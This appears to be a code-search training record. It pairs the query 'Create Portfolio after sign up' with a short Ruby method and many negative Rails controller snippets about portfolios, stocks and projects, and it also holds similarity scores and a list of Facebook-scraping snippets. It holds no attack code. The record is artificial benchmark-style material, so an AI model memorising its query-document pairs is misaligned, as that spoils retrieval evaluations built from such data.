'a[href^=\"https://www.facebook.com/\"][href*=\"search\"] ' +\n 'img[src*=\"profile\"]')\n images.each do |image|\n image_src = image.attributes['src']\n link = image\n until element_matches(client, link, 'a')\n link = element_parent client, link\n end\n link_href = link.attributes['href']\n if match = (/^https:\\/\\/www\\.facebook\\.com\\/([^\\/\\?]+)\\?/i).\n match(link_href)\n profile_name = match[1]\n else\n # Discard profiles without usernames.\n # TODO(pwnall): consider accepting profiles with IDs, if they ever come\n # up\n p link_href\n next\n end\n results << {\n name: profile_name,\n pic: image_src,\n url: link_href,\n }\n end\n results\nend", "def show\n session[:oauth] = Koala::Facebook::OAuth.new(APP_ID, APP_SECRET, SITE_URL + '/callback?event_id='+params[:id])\n @auth_url = session[:oauth].url_for_oauth_code(:permissions=>\"email, user_events, friends_events, rsvp_event\") \n puts session.to_s + \"<<< session\"\n \n\n @event = Event.find(params[:id])\n \n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n auth = Authentication.auth.from_cookie(cookies)\n authenticate Authentication.identify(auth.user)\n redirect_to Facebook.config[:app_url]\n end", "def profileAlbum\n aid = self.albums.select{|a| a['name'].include?('Profile')}[0]['id']\n self.fbCall(\"/#{aid}/photos\")\n end", "def get_user_profile(uid,fields)\n begin\n @user_details = graph.get_object(\"#{uid}\",\"fields\" => \"#{fields}\")\n rescue Exception => e\n error(\"get_user_profile :: #{e.message}\")\n end\n end" ]
[ "0.76710546", "0.75397986", "0.7503707", "0.7441458", "0.72270674", "0.72043335", "0.7197348", "0.7142691", "0.71241647", "0.70425606", "0.69708836", "0.6957169", "0.69492", "0.69468606", "0.69244057", "0.69076586", "0.68735605", "0.6867984", "0.6843972", "0.68013275", "0.67393315", "0.6724462", "0.67060953", "0.6668715", "0.6648862", "0.66235286", "0.6613501", "0.66098803", "0.6599982", "0.6594481", "0.6572909", "0.6571423", "0.6571067", "0.6569628", "0.6566391", "0.6534392", "0.65181166", "0.6516846", "0.6500016", "0.6487837", "0.64857924", "0.64728737", "0.6470639", "0.64672714", "0.6463742", "0.6462514", "0.6458022", "0.64578503", "0.6442051", "0.64376444", "0.64240235", "0.63999164", "0.6395085", "0.636299", "0.6362852", "0.6361875", "0.6359727", "0.6353214", "0.6340913", "0.6337885", "0.6332943", "0.6327837", "0.63095033", "0.6307474", "0.6307474", "0.6307474", "0.6298899", "0.6285221", "0.6280282", "0.6276077", "0.627372", "0.62561494", "0.625613", "0.62525976", "0.6248254", "0.62479734", "0.6234729", "0.6218183", "0.62152624", "0.6213716", "0.62088", "0.6202382", "0.61906564", "0.6188438", "0.61602896", "0.6157726", "0.6153174", "0.6151261", "0.61481875", "0.6144192", "0.61347777", "0.613162", "0.61294013", "0.61286217", "0.6124492", "0.61203766", "0.6118267", "0.61061645", "0.6105379", "0.6101318", "0.6100802" ]
0.0
-1
Create Portfolio after sign up
def create_portfolio @user = User.last @portfolio = Portfolio.new @user.portfolio = @portfolio @user.save @portfolio.save end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @portfolio = Portfolio.new(portfolio_params)\n @portfolio.user = current_user\n @portfolio.save\n redirect_to portfolios_path\n end", "def create\n @user = User.find(current_user.id)\n @portfolio = @user.portfolios.new(portfolio_params)\n\n @portfolio.save\n redirect_to portfolios_path\n end", "def create\n @portfolio = current_user.portfolios.new(params[:portfolio])\n\n\n respond_to do |format|\n if @portfolio.save\n format.html { redirect_to @portfolio, notice: 'Portfolio was successfully created.' }\n format.json { render json: @portfolio, status: :created, location: @portfolio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @portfolio.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @portfolio = Portfolio.new(portfolio_params)\n @portfolio_category = PortfolioCategory.all\n @portfolio.user = current_user\n if @portfolio.save\n flash[:success] = 'New Portfolio item created!'\n redirect_to portfolio_path(@portfolio)\n else\n flash[:error] = 'Please see errors below'\n render :new\n end\n end", "def create\n portfolio = Portfolio.new(user_id: current_user.id)\n if portfolio.update_attributes(portfolio_params)\n render json: portfolio, status: :created\n else\n render json: portfolio.errors.full_messages, status: :unprocessable_entity\n end\n end", "def create\n if asset_manager_signed_in?\n portfolio = current_asset_manager.portfolios.new(portfolio_params)\n if portfolio.save\n render_json_message(:ok, message: 'New portfolio created', data: portfolio)\n else\n render_json_message(:forbidden, data: portfolio, errors: portfolio.errors.full_messages)\n end\n else\n render_json_message(:forbidden, message: 'No asset manager is currently signed in')\n end\n end", "def create\n @portfolio = Portfolio.new(portfolio_params)\n\n respond_to do |format|\n if @portfolio.save\n format.html { redirect_to @portfolio, notice: 'Portfolio was successfully created.' }\n format.json { render :show, status: :created, location: @portfolio }\n else\n format.html { render :new }\n format.json { render json: @portfolio.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @portfolio = Portfolio.new(:name => params[:portfolio][:name], :user_id => session[:user_id])\n\n respond_to do |format|\n if @portfolio.save\n session[:portfolio_id] = @portfolio.id #mine\n format.html { redirect_to @portfolio, notice: 'Portfolio was successfully created.' }\n format.json { render json: @portfolio, status: :created, location: @portfolio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @portfolio.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @portfolio = Portfolio.new(portfolio_params.merge!(user_id: current_user.id))\n if @portfolio.save\n save_pictures\n render json: { message: \"success\", portfolioId: @portfolio.id }, status: 200\n else\n render json: { error: @portfolio.errors.values.join(\",\")}, status: 400\n end\n end", "def create\n @portfolio = Portfolio.new(portfolio_params)\n\n if @portfolio.save\n render json: @portfolio, status: :created, location: @portfolio\n else\n render json: @portfolio.errors, status: :unprocessable_entity\n end\n end", "def create\n @portfolio = Portfolio.new(params[:portfolio])\n\n respond_to do |format|\n if @portfolio.save\n format.html { redirect_to(@portfolio, :notice => 'Portfolio was successfully created.') }\n format.xml { render :xml => @portfolio, :status => :created, :location => @portfolio }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @portfolio.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n\n @portfolio = Portfolio.create(portfolio_params)\n @user = User.find(session[:id])\n @user.portfolios << @portfolio\n StocksUser.where(user_id: session[:id]).destroy_all\n redirect_to portfolios_path\n\n\n # respond_to do |format|\n # if @portfolio.save\n # format.html { redirect_to @portfolio, notice: 'Portfolio was successfully created.' }\n # format.json { render :show, status: :created, location: @portfolio }\n # else\n # format.html { render :new }\n # format.json { render json: @portfolio.errors, status: :unprocessable_entity }\n # end\n # end\n end", "def create\n\n\n @portfolio_item = Portfolio.new(portfolio_params)\n\n respond_to do |format|\n if @portfolio_item.save\n format.html { redirect_to portfolios_path, notice: 'Your portfolio item is now live.' }\n else\n format.html { render :new }\n end\n end\n end", "def create\n #render plain: params[:article].inspect\n @portfolio = Portfolioo.new(portfolio_params)\n # @article.user = current_user\n if @portfolio.save\n flash[:notice] = \"Article was successfully created\"\n redirect_to portfolio_path\n else\n render :new\n end\n end", "def create_product_portfolio\n ProductPortfolio.create(:portfolio_id => self.portfolio_id, :product_id => self.product_id)\n return true\n end", "def create\n @projectportfolio = Projectportfolio.new(projectportfolio_params)\n\n respond_to do |format|\n if @projectportfolio.save\n format.html { redirect_to @projectportfolio, notice: 'Projectportfolio was successfully created.' }\n format.json { render :show, status: :created, location: @projectportfolio }\n else\n format.html { render :new }\n format.json { render json: @projectportfolio.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_portfolio\n @portfolio = current_user.portfolio\n end", "def create_account\n account = Account.create(name: \"#{full_name}'s Portfolio\")\n account.collaborators << self\n end", "def create\n\n respond_to do |format|\n if Portfolio.create(portfolio_params)\n flash[:success] = 'Portfolio Item successfully created!'\n format.html { redirect_to portfolios_path, notice: 'Portfolio Item was successfully created!' }\n else\n flash[:error] = portfolio_item.errors.full_messages\n format.html { render :new }\n end\n end\n end", "def set_portfolio\n @portfolio = current_user.portfolio\n end", "def create\n #Assigns user if there is no current user\n if current_user\n @portfolio = current_user.portfolios.find_by(name: params[:portfolio])\n @stock = @portfolio.stocks.find_by(symbol: params[:stock])\n @trade = @stock.trades.create(trade_params)\n render json: @trade\n else\n render json: []\n end\n end", "def create\n @user = User.new(params[:user])\n @user.current_value = 100000;\n @user.lattitude = 42367000\n @user.longitude = -71259000\n Portfolio.new(:user_id => @user.id, :stock_id => 1, :quantity => 100000).save! ;\n\n respond_to do |format|\n if @user.save\n flash[:notice] = \"Registration successful.\"\n @user.current_value = 100000;\n Portfolio.new(:user_id => @user.id, :stock_id => 1, :quantity => 100000).save! ;\n @user.save!\n format.html { redirect_to(\"/\", :notice => 'You are now registered for the Social Market Game!') }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_portfolio\n @portfolio = current_user.portfolios.find(params[:id])\n end", "def create_portfolio()\n puts \"Portfolio name?\"\n desired_name = gets.chomp\n ###calls has_portfolio function\n if has_portfolio(desired_name)\n puts \"You already have a portfolio with the name #{desired_name}\"\n else\n @portfolios << Portfolio.new(desired_name)\n end\n end", "def create\n # @portfolio_item = Portfolio.mew(portfolio_params)\n @portfolio_item = Portfolio.new(params.require(:portfolio).permit(:title, :subtitle, :body))\n \n respond_to do |format|\n if @portfolio_item.save\n format.html { redirect_to portfolios_path, notice: 'Portfolio item was created.' }\n # form.json { render :show, status: :created, location: @portfolio_items }\n else\n format.html {render :new }\n # format.json { render json: @portfolio_items.errors, status: :unprocessable_entry }\n end\n end\n end", "def create\n @shareportfolio = Shareportfolio.new(shareportfolio_params)\n\n respond_to do |format|\n if @shareportfolio.save\n format.html { redirect_to @shareportfolio, notice: 'Shareportfolio was successfully created.' }\n format.json { render :show, status: :created, location: @shareportfolio }\n else\n format.html { render :new }\n format.json { render json: @shareportfolio.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @portfolio_item = Portfolio.new\n end", "def create\n if current_user.canAddNewStock?(params[:user_stock])\n stock = readByTicker(params[:user_stock])\n if stock.blank?\n # Create new stock\n stockToCreate = searchStock(params[:user_stock])\n stock = Stock.new(name: stockToCreate[:name], ticker: stockToCreate[:ticker], last_price: stockToCreate[:last_price])\n stock.save\n end\n # Create user stock\n @user_stock = UserStock.create(user: current_user, stock: stock)\n flash[:success] = \"Stock #{@user_stock.stock.name} was successfully added to my portfolio\"\n else\n flash[:danger] = \"The user can not add this stock\"\n end\n redirect_to users_self_portfolio_path\n end", "def create\n @portfolio_item = PortfolioItem.new(portfolio_item_params)\n\n respond_to do |format|\n if @portfolio_item.save\n format.html { redirect_to @portfolio_item, notice: 'Portfolio item was successfully created.' }\n format.json { render :show, status: :created, location: @portfolio_item }\n else\n format.html { render :new }\n format.json { render json: @portfolio_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_group_portfolio\n GroupPortfolio.create(:portfolio_id => self.portfolio_id, :group_id => self.group_id)\n return true\n end", "def create\n @portfolio = Portfolio.new(user_id: current_user.id, holding_type: \"NYSE\", holding_id: (Holding.where(\"name = '#{params[:id]}'\").first.id), num_of_shares: params[:num_of_shares]);\n @portfolio.save\n respond_to do |format|\n if @nyse.save\n format.html { redirect_to @nyse, notice: 'nyse was successfully created.' }\n format.json { render :show, status: :created, location: @nyse }\n else\n format.html { render :new }\n format.json { render json: @nyse.errors, status: :unprocessable_entity }\n end\n end\n end", "def setup\n # Build the portfolio\n self.portfolio = Portfolio.new(:login => self.login)\n self.portfolio.save\n \n # Build the design editor\n self.design = Design.new\n self.design.save\n \n # Set the plan at level 1\n self.plan = Plan.new(:level => 1)\n self.plan.save\n \n # Activate\n self.activate!\n \n # Save the user at the end.\n self.save\n end", "def create\n #Takes the form parameters\n # added technologies_attributes\n @portfolio_item = Portfolio.new(params.require(:portfolio).permit(:title, :subtitle, :body, technologies_attributes: [:name]))\n # permit -> this are strong parameters\n\n respond_to do |format|\n #Si es valido\n if @portfolio_item.save\n #Formatea el html y redirreciona al usuario (show page)\n #notice -> muestra el mensaje en la vista\n # portfolios_path redirect to the full list \n format.html { redirect_to portfolios_path, notice: 'Your portfolio item is now live.' }\n #json no se usa, se puede borrar\n format.json { render :show, status: :created, location: @portfolio_item }\n else\n format.html { render :new }\n format.json { render json: @portfolio.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_portfolio\n puts \"What is the client name? \"\n name = gets.chomp\n puts \"What would you like to call the portfolio?\"\n portfolio_name = gets.chomp\n $broker.clients[name].portfolios[portfolio_name] = Portfolio.new(portfolio_name)\n end", "def portfolio_params\n params.require(:portfolio).permit(:name, :user_id)\n end", "def new\n authorize! :create, Roxiware::PortfolioEntry\n @portfolio_entry = Roxiware::PortfolioEntry.new({:name=>\"Name\", :service_class=>\"web\", :description=>\"Description\", :url=>\"\", :blurb=>\"blurb\"}, :as=>current_user.role)\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @portfolio_entry.ajax_attrs(@role) }\n end\n end", "def portfolio_params\n params.require(:portfolio).permit(:name, :user_id, :descripion, :start_date)\n end", "def show\n @portfolio = Portfolio.new\n end", "def create\n @portfolio_section = PortfolioSection.new(portfolio_section_params)\n\n respond_to do |format|\n if @portfolio_section.save\n format.html { redirect_to @portfolio_section, notice: \"Portfolio section was successfully created.\" }\n format.json { render :show, status: :created, location: @portfolio_section }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @portfolio_section.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @title = \"Create Portfolio - Upload Portfolio\"\n unless params[:portfolio].nil? then\n @portfolio = Portfolio.new(params[:portfolio])\n @portfolio.specialization = params[:portfolio][:specialization].split(\"_\")[0]\n @portfolio.secondary_specializations_2 = params[:portfolio][:specialization].split(\"_\")[1]\n else \n @portfolio = Portfolio.find_by_id(session[:existing_portfolio_id])\n end\n \n unless session[:registered_user_id].nil? then\n @user = User.find_by_id(session[:registered_user_id])\n @portfolio.user_id = @user.id\n @portfolio.user_firstname = @user.firstname\n @portfolio.user_lastname = @user.lastname\n end\n\n @existing_record = Portfolio.find(:all, :joins => :user, :conditions => {:users => {:id => @user.id}})\n logger.info \"Before Delete Existing Record : #{@existing_record.inspect}\"\n\t @existing_record.each do | existing_record |\n\t existing_record.destroy\n end\n\n respond_to do |format|\n if @portfolio.save\n \n session[:registered_portfolio_id] = @portfolio.id\n @existing_images = Image.find(:all, :conditions => { :portfolio_id => @portfolio.id })\n flash[:notice] = 'Portfolio was successfully created.'\n format.html { render :action => \"specifications\", :id => @portfolio.id }\n #format.html { redirect_to \"/portfolios/specifications/#{@portfolio.id}\" }\n format.xml { render :xml => @portfolio, :status => :created, :location => @portfolio }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @portfolio.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @portfoliolog = Portfoliolog.new(portfoliolog_params)\n\n respond_to do |format|\n if @portfoliolog.save\n format.html { redirect_to @portfoliolog, notice: 'Portfoliolog was successfully created.' }\n format.json { render :show, status: :created, location: @portfoliolog }\n else\n format.html { render :new }\n format.json { render json: @portfoliolog.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_portfolio\n @portfolio = Portfolio.find(params[:portfolio_id])\n end", "def add_stock \n\t\tif params[:ok] # OK\n\t\t\tif params[:profile][:name] == '' # If choose to add by ticker\n profile = Profile.find_by_ticker params[:profile][:ticker] \n unless profile.nil? \n p = Portfolio.new\n p.profile = profile\n User.find(session[:user_id]).portfolios << p\n else\n flash[:notice] = \"No such ticker called #{params[:profile][:ticker]}. Please re-select.\"\n redirect_to :action => 'new'\n return\n end\n else # If choose to add by company name\n profile = Profile.find_by_name params[:profile][:name]\n unless profile.nil?\n p = Portfolio.new\n p.profile = profile\n User.find(session[:user_id]).portfolios << p\n else\n flash[:notice] = \"No such company name called #{params[:profile][:name]}. Please re-select.\"\n redirect_to :action => 'new'\n return \n end \n end\n reset_without_agent_reserved\n flash[:notice] = \"#{profile.name}'s stock was successfully added to your portfolio.\"\n redirect_to :action => 'list'\n\t\telse # Cancel\n\t\t\tredirect_to :action => 'list'\n\t\tend\n end", "def create\n @portfolio_item = PortfolioItem.new(params[:portfolio_item])\n\n respond_to do |format|\n if @portfolio_item.save\n flash[:notice] = 'PortfolioItem was successfully created.'\n format.html { redirect_to(@portfolio_item) }\n format.xml { render :xml => @portfolio_item, :status => :created, :location => @portfolio_item }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @portfolio_item.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create \n transaction = Transaction.new(user_id: params[:user_id], ticker: params[:ticker], qty: params[:qty], user_close: params[:user_close], current_close: params[:current_close])\n user = User.find(transaction[:user_id])\n user_account_balance = user.account_balance \n total_stock_price = transaction.user_close * transaction.qty\n balance_minus_stock_price = user_account_balance - total_stock_price\n #checks to see if the user has sufficient funds to buy the number of stocks at the current price. Creates a Transaction that will be viewable on the users Transactions tab.\n if balance_minus_stock_price >= 0\n user.update_attribute(:account_balance, balance_minus_stock_price)\n user.save\n transaction.save\n #if this is a stock in the users portfolio already find it.\n portfolio = Portfolio.where(ticker: transaction.ticker, user_id: params[:user_id])\n if portfolio.length > 0\n current_qty = transaction.qty\n new_qty = portfolio[0].qty + current_qty\n transaction_close = transaction.user_close \n new_price = new_qty * transaction_close\n portfolio[0].update_attributes(qty: new_qty, current_close: transaction_close, total_price: new_price)\n #otherwise create a new portfolio for the stock which will be displayed on the Portfolio page.\n else\n new_price = transaction.qty * transaction.user_close\n Portfolio.create(user_id: params[:user_id], ticker: params[:ticker], qty: params[:qty], current_close: params[:current_close], total_price: new_price)\n end\n render json: transaction\n elsif balance_minus_stock_price < 0\n render json: {errors: \"You do not have the appropriate balance to purchase stocks. Please add more money to your account.\"}\n end\n end", "def new\n @title = \"Create Portfolio - Profile Information\"\n @portfolio = Portfolio.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @portfolio }\n end\n end", "def set_portfolio\n @portfolio = Portfolio.find(params[:id])\n end", "def set_portfolio\n @portfolio = Portfolio.find(params[:id])\n end", "def set_portfolio\n @portfolio = Portfolio.find(params[:id])\n end", "def set_portfolio\n @portfolio = Portfolio.find(params[:id])\n end", "def set_portfolio\n @portfolio = Portfolio.find(params[:id])\n end", "def set_portfolio\n @portfolio = Portfolio.find(params[:id])\n end", "def set_portfolio\n @portfolio = Portfolio.find(params[:id])\n end", "def new\n @portfolio = Portfolio.new\n @portfolio_category = PortfolioCategory.all\n end", "def create\n @portfolio = Portfolio.new(portfolio_params)\n\n if params[:portfolio][:google].present?\n # Check if file was selected\n csv_file = params[:portfolio][:google].read\n @portfolio.import_csv(csv_file, current_user)\n end\n respond_to do |format|\n if @portfolio.save\n format.html { redirect_to portfolios_path, notice: 'Portfolio was successfully created.' }\n format.json { render action: 'show', status: :created, location: @portfolio }\n else\n format.html { render action: 'new' }\n format.json { render json: @portfolio.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n project = Project.create!(\n :name => \"created by #{params[:cash_position][:name]}\", \n :workflow_status_id => 1,\n :handler_id => current_user.id\n )\n @cash_position = CashPosition.new(params[:cash_position])\n @cash_position.project_id = project.id\n @cash_position.workflow_status_id = 1\n\n respond_to do |format|\n if @cash_position.save\n format.html { redirect_to(@cash_position, :notice => 'Cash position was successfully created.') }\n format.xml { render :xml => @cash_position, :status => :created, :location => @cash_position }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @cash_position.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @portfolio_counter = PortfolioCounter.new(portfolio_counter_params)\n\n respond_to do |format|\n if @portfolio_counter.save\n format.html { redirect_to @portfolio_counter, notice: 'Portfolio counter was successfully created.' }\n format.json { render action: 'show', status: :created, location: @portfolio_counter }\n else\n format.html { render action: 'new' }\n format.json { render json: @portfolio_counter.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n uri_obj = URI\n respond_to do |format|\n @portfolio_entry.assign_attributes(params, :as=>@role)\n if @portfolio_entry.save\n\t format.html { redirect_to @portfolio_entry, :notice => 'Portfolio Entry was successfully updated.' }\n format.json { render :json => @portfolio_entry.ajax_attrs(@role) }\n else\n\t format.html { redirect_to @portfolio_entry, :notice => 'Failure updating Portfolio Entry.' }\n format.json { render :json=>report_error(@portfolio_entry)}\n\tend\n end\n end", "def create\n cmp = AzCompany.find(params[:az_project][:owner_id])\n @project = AzProject.create(params[:az_project][:name], cmp, current_user, params[:az_project][:public_access])\n\n @title = 'Создание нового сайта'\n\n respond_to do |format|\n if @project.id\n flash[:notice] = 'Проект успешно создан.'\n format.html { redirect_to(@project) }\n else\n format.html { render :template => 'az_projects/new', :owner_id => cmp.id }\n end\n end\n end", "def create\r\n @company = current_user.build_company(params[:company])\r\n respond_to do |format|\r\n if @company.save\r\n expire_fragment \"yellowpage\"\r\n expire_fragment \"users_center_#{session[:user_id]}\"\r\n flash[:notice] = '公司成功创建,恭喜你创建完成了!'\r\n format.html { redirect_to :action=>\"show\",:id=>@company.id}\r\n else\r\n flash[:notice] = '公司创建失败了,再次创建试试看?'\r\n format.html { redirect_to :action=>\"new\"}\r\n end\r\n end\r\n end", "def create\n @project = Project.new(params[:project])\n\t@project.user_id = session[:project_user_id]\n\t@project.name = session[:project_name]\n\t@project.email = session[:project_email]\n\t@project.continuous_days = session[:project_continuous_days]*7\n\t@project.percent = session[:project_percent]\n\t@project.create_at = session[:project_create_at]\n\tcurrent_user.provider_email = @project.email\n\tcurrent_user.save\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end", "def portfolio_params\n params.require(:portfolio).permit(:name, :client_id, :montly_budget, :campaigns, :user_id)\n end", "def create\n @company_price = current_user.company_prices.new(params[:company_price])\n if @company_price.save\n redirect_to company_prices_path, notice: '报价信息发布成功'\n else\n render action: \"new\"\n end\n end", "def create\n #byebug\n @project = Project.new(create_params)\n @project.user_id = @current_user.id\n @project.save\n #@project = Project.create(name_project: \"prueba\", subsidy: true, parking: true, user_id: @current_user.id)\n #byebug\n render json: @project, status: :created\n end", "def create\n @portfolio_picture = PortfolioPicture.new(params[:portfolio_picture])\n\n respond_to do |format|\n if @portfolio_picture.save\n flash[:notice] = 'PortfolioPicture was successfully created.'\n format.html { redirect_to(:controller => 'portfolios', :action => 'edit', :id => @portfolio_picture.portfolio_id) }\n format.xml { render :xml => @portfolio_picture, :status => :created, :location => @portfolio_picture }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @portfolio_picture.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @project = Project.new(params[:project])\n @project.roles.build name: Role.role_types.first,\n user: User.find(session[:id])\n begin \n n_invitations = @project.add_colaborators\n notice = 'Project was successfully created. '\n \n notice += '1 user has been automatically added to the project.' if n_invitations == 1\n notice += n_invitations.to_s + ' users have been automatically added to the project.' if n_invitations > 1\n\n rescue\n redirect_to @project, notice: \"An error occurred. You may have entered invalid github information.\"\n return\n end \n \n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: notice }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end", "def portfolio\n @portfolio = Portfolio.find_by(id: params[:portfolio_id])\n end", "def portfolio\n @portfolio = Portfolio.find(params[:id])\n end", "def portfolio_params\n params.permit(:user_id, :portfolio_id)\n end", "def create\n @position = @portfolio.positions.build(position_params)\n\n respond_to do |format|\n if @position.save\n format.html { redirect_to portfolio_positions_path(@portfolio), notice: 'Position was successfully created.' }\n format.json { render :show, status: :created, location: @position }\n else\n format.html { render :new }\n format.json { render json: @position.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @portfolio = Portfolio.find(params[:portfolio_id])\n @trade = @portfolio.trades.new(params[:trade])\n @stock2 = StockQuote::Stock.quote(\"#{params[:trade][:stock]}\")\n @trade.buy_price = @stock2.last\n \n respond_to do |format|\n if @trade.save\n format.html { redirect_to [@portfolio, @trade], notice: 'Trade was successfully created.' }\n format.json { render json: @trade, status: :created, location: @trade }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trade.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end", "def signup\n @companion = Companion.new\n end", "def index\n @portfolios = Portfolio.where(user_id: current_user.id)\n end", "def portfolio_params\n params.require(:portfolio).permit(:gender, :about, :experience, :education, :avatar, :city_id, :service_id, {documents: []}, {images: []})\n end", "def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n ProjectUser.create(project_id: @project.id, user_id: current_user.id, role: Project.role_ranking(\"owner\"))\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render action: 'show', status: :created, location: @project }\n else\n format.html { render action: 'new' }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_projectportfolio\n @projectportfolio = Projectportfolio.find(params[:id])\n end", "def create\n\n @asset_company = AssetCompany.new(params[:asset_company])\n respond_to do |format|\n if @asset_company.save\n #session[:asset_company_id] = @asset_company.id\n flash[:notice] = \"Account for #{@asset_company.company_name} was successfully created.\"\n format.html { redirect_to(:action=>'show', :id => @asset_company.id) }\n format.xml { render :xml => @asset_company, :status => :created, :location => @asset_company }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @asset_company.errors, :status => :unprocessable_entity }\n end\n end\n end", "def signup\n end", "def signup\n end", "def create\n @project = current_user.projects.create(params[:project])\n \n if @project.save\n record_activity(\"created new project: \" + @project.id.to_s)\n redirect_to root_path, :notice => \"Project created successfully\"\n else\n render 'new'\n end\n end", "def create\n @project = @user.projects.create(project_params)\n\n # Save and redirect to user projects with a notice at the top saying that the project has been created\n\n if @project.save\n redirect_to(user_projects_path(@project), notice: 'Project was successfully created.')\n else\n render action: 'new'\n end\n end", "def create_account\n set_user\n set_payer\n set_user_sport\n save_account\n end", "def partner_details\n @portfolio = @user.portfolio \n end", "def new\n @portfolio = Portfolio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @portfolio }\n end\n end", "def create\n @individual_portfolio_invesetment = IndividualPortfolioInvesetment.new(individual_portfolio_invesetment_params)\n\n respond_to do |format|\n if @individual_portfolio_invesetment.save\n format.html { redirect_to @individual_portfolio_invesetment, notice: 'Individual portfolio invesetment was successfully created.' }\n format.json { render action: 'show', status: :created, location: @individual_portfolio_invesetment }\n else\n format.html { render action: 'new' }\n format.json { render json: @individual_portfolio_invesetment.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_accounts\n end", "def set_portfolio_finance\n @portfolio_finance = PortfolioFinance.find(params[:id])\n end", "def create\n @catalogs_headquarter = Catalogs::Headquarter.new(catalogs_headquarter_params)\n @catalogs_headquarter.department_id = current_devise_user.department_id unless @catalogs_headquarter.department_id\n\n authorize! :create, @catalogs_headquarter\n if @catalogs_headquarter.save\n flash[:success] = t('notices.saved_successfully')\n index\n end\n end", "def create\n @project = current_user.projects.build(project_params)\n @project.memberships.new(user: current_user,role:'Creator')\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @project = Project.new(params[:project])\n @project.account_id = current_user.account_id\n respond_to do |format|\n if @project.save\n format.html { redirect_to(projects_path, :notice => 'Project was successfully created.') }\n format.xml { render :xml => @project, :status => :created, :location => @project }\n else\n format.html { render :action => \"new\", :error => 'Erro' }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @portfolio_finance = PortfolioFinance.new(portfolio_finance_params)\n @portfolio_finance.user = current_user\n\n if params[:portfolio_finance][:share_items].present?\n params[:portfolio_finance][:share_items].each do |key, share_item|\n if share_item[:quantity].to_i > 0\n @portfolio_finance.add_share_item(ShareItem.new(:share_id => key, :quantity => share_item[:quantity].to_i))\n end\n end\n end\n\n respond_to do |format|\n if @portfolio_finance.save\n format.html { redirect_to root_path, notice: 'Portfolio finance was successfully created.' }\n format.json { render :show, status: :created, location: @portfolio_finance }\n else\n format.html { render :new }\n format.json { render json: @portfolio_finance.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @resume = current_user.resumes.new(resume_params)\n @resume.user_id = current_user.id\n\n respond_to do |format|\n if @resume.save\n @content = @resume.create_content\n format.html { redirect_to edit_portfolio_path(@resume), notice: 'Resume was successfully created.' }\n format.json { render :show, status: :created, location: @resume }\n else\n format.html { render :new }\n format.json { render json: @resume.errors, status: :unprocessable_entity }\n end\n end\n end", "def signup\r\n\t@title = \"Sign Up\"\r\n end", "def create\n\n @project = Project.new(project_params)\n @project.user = current_user\n if @project.save\n flash[:success] = \"Project was created succesfully\"\n redirect_to @project\n else\n render 'new'\n end\n\n end", "def quick_create\n @bill = Bill.new(bill_params)\n @bill.status = \"pending\"\n @bill.price = total(@bill)\n @bill.save\n if (user_signed_in?)\n redirect_to admins_url\n else\n redirect_to root_url\n end\n end", "def create\n @company = Company.find(params[:company_id])\n project_params = params[:project]\n manager = @company.users.find(project_params[:user_id])\n \n generate_employees manager, project_params\n \n @project = Project.new(project_params)\n @project.manager = manager\n @project.last_updater = current_member\n @project.company = @company\n\n if(@project.valid?)\n begin\n Project.transaction do\n @project.save!\n project_role = Role.find_by_name(\"project_manager\")\n # if the user have just one project\n if(manager.projects && manager.projects.size == 1)\n manager.roles << project_role\n end \n end\n redirect_to(company_project_path(:id=>@project.id, :company_id =>@company.id), :notice => 'Project was successfully created.')\n rescue Exception=>e\n logger.error 